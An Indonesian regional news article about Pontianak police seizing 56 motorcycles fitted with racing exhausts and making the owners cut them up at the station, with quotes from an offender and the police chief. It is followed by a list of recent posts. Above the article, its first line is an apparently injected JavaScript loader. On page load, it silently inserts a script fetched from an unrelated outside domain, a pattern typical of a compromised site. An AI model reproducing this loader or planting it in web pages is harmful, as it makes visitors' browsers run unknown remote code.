(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Pontianak

56 Pengendara Terjaring Razia Knalpot Racing, Pemilik Potong Sendiri di Kantor Polisi


KANALKALIMANTAN.COM. PONTIANAK – Satuan Lalu Lintas (Satlantas) Polresta Pontianak Kota sedang gencar melakukan razia knalpot racing atau brong. Razia knalpot racing diakukan karena masyarakat banyak yang resah dengan kebisingan.

Namun seorang pemuda yang turut terjaring razia justru memberikan tanggapan santai meski terbukti melanggar peraturan lalu lintas.

Haryadi, mengaku tahu akan aturan atau larangan menggunakan knalpot racing di jalan raya. Namun dia nekat menggunakan knalpot racing biar tampil beken.

“Saya tahu dilarang. Karena ikut-ikutan dan tarikan mesin nyaman, makanya saya pakai knalpot racing. Motor gede nggak pakai knalpot racing nggak asyik, nggak keren,” ujar pemuda asal Jeruju, Pontianak Barat ini kepada SuaraKalbar.id di Polresta Pontianak Kota, Senin (25/1/2021).

Haryadi adalah satu di antara 56 pengendara yang terjaring razia knalpot racing oleh Satlantas Polresta Pontianak Kota pada Sabtu (23/1/2021) malam. Ceritanya, malam Minggu kemarin mau antar teman ke Jalan Imam Bonjol.

“Saya lewat Ambalat mau ke Imam Bonjol antar teman. Eh, ada polisi yang nunggu di perempatan Pasar Flamboyan. Jadi saya ketangkap di sana. Deg-degan juga pas didatangi. Lalu motor dibawa ke sini (Polresta),” ceritanya.

Setibanya di Polresta Pontianak Kota, kata Haryadi, motor Honda CBR miliknya disita. Ia dan pengendara lain yang terjaring diminta untuk datang kembali membawa serta mengganti knalpot standar pabrik, pada Senin pagi. Sementara knalpot racingnya dimusnahkan.

“Knalpot racing saya harganya 700 ribu rupiah. Ya rela lah dipotong. Saya tidak sama sekali keberatan dengan adanya pemotongan knalpot ini,” jelasnya.

Ia justru berharap razia knalpot racing ini bisa diperketat dan ditingkatkan. “Saya berharap kepolisian bisa razia terus dan lebih ketat. Biar semua yang pakai knalpot racing bisa habis. Saya setuju dengan razia ini,” harapnya.

Berbeda dengan seorang pelanggar lainnya. Pemuda yang mengenakan hoodie biru dongker ini terlihat emosi saat memotong knalpot racingnya. Belum diketahui, sikap itu karena harga knalpotnya mahal atau malu di depan sang pacar. Karena pemuda ini irit bicara. “Dia tadi sambil marah-marah,” cetus salah seorang Polantas saat mendampingi pemotongan knalpot.

Sementara itu, Kapolresta Pontianak Kota, Kombes Pol Leo Joko Triwibowo mengatakan, razia penertiban knalpot tidak standar ini digalakkan karena banyak keluhan dari masyarakat.

“Masyarakat banyak mengeluh terkait dengan bisingnya kendaraan yang tidak menggunakan knalpot standar. Sehingga, Satlantas Polresta Pontianak Kota melakukan penertiban,” kata Leo usai menyaksikan pemotongan knalpot.

Ia menjelaskan, jumlah yang terjaring sebanyak 56 kendaraan berknalpot racing. Semua kendaraan langsung disita. Para pelanggar, kata Leo, wajib mengganti knalpot sepeda motornya dengan yang standar pabrik. Sementara knalpot racing harus dimusnahkan dengan cara dipotong oleh pemiliknya.

“Untuk membelikan efek jera, barang bukti knalpot racing akan kami sita. Kemudian, dimusnahkan oleh pemiliknya. Dari pada masyarakat berpikiran negatif kepada kami, menganggap banyak mendapat knalpot dan bisa dijual ke daerah lain, ya sudah, saya minta kerelaan hati kepada mereka yang terjaring, untuk musnahkan sendiri di depan kita. Biar tidak ada kalimat-kalimat negatif kepada kami,” katanya.

Selain itu, para pengendara dikenakan sanksi penilangan. Karena pengendara melanggar Undang-undang Nomor 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan.

Sebagaimana bunyi Pasal 285 ayat 1: setiap pengendara sepeda motor yang tidak memenuhi persyaratan teknis dan laik jalan seperti spion, lampu utama, lampu rem, klakson, pengukur kecepatan, dan knalpot dipidana dengan pidana kurungan paling lama satu bulan atau denda paling banyak Rp 250 ribu.

Leo menyadari pengguna sepeda motor apalagi jiwa muda pasti ingin beda dengan yang lain dalam hal berkendara sepeda motor. Namun, kata dia, ingin tampil beda tapi melanggar aturan tetap saja akan ditindak.

“Konsepnya knalpot racing ini kan hanya untuk kompetisi atau balapan. Tapi kalau mereka menggunakannya di jalan raya, apa boleh buat. Kita tertibkan,” tegasnya.

Di satu sisi, Leo mengaku memang dilema berkaitan dengan menangani bengkel yang menjual dan memasang knalpot racing ini. Karena, bengkel adalah bidang jasa. Yang jelas, kata dia, kepolisian tetap menertibkan kendaraan berknalpot racing.

“Kalau kita mau tutup pabriknya, bukan di Pontianak. Adanya di luar. Tapi saya berkomitmen bagaimana caranya di sini tidak akan banyak knalpot racing. Karena memang insinyur dari Jepang sudah mengatur motor-motor ini ada standar ketentuannya,” tegasnya. (suara.com)

Editor : Kk

 

 

 


Al Ghifari

Recent Posts

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

10 menit ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

49 menit ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

13 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

14 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

14 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

15 jam ago

This website uses cookies.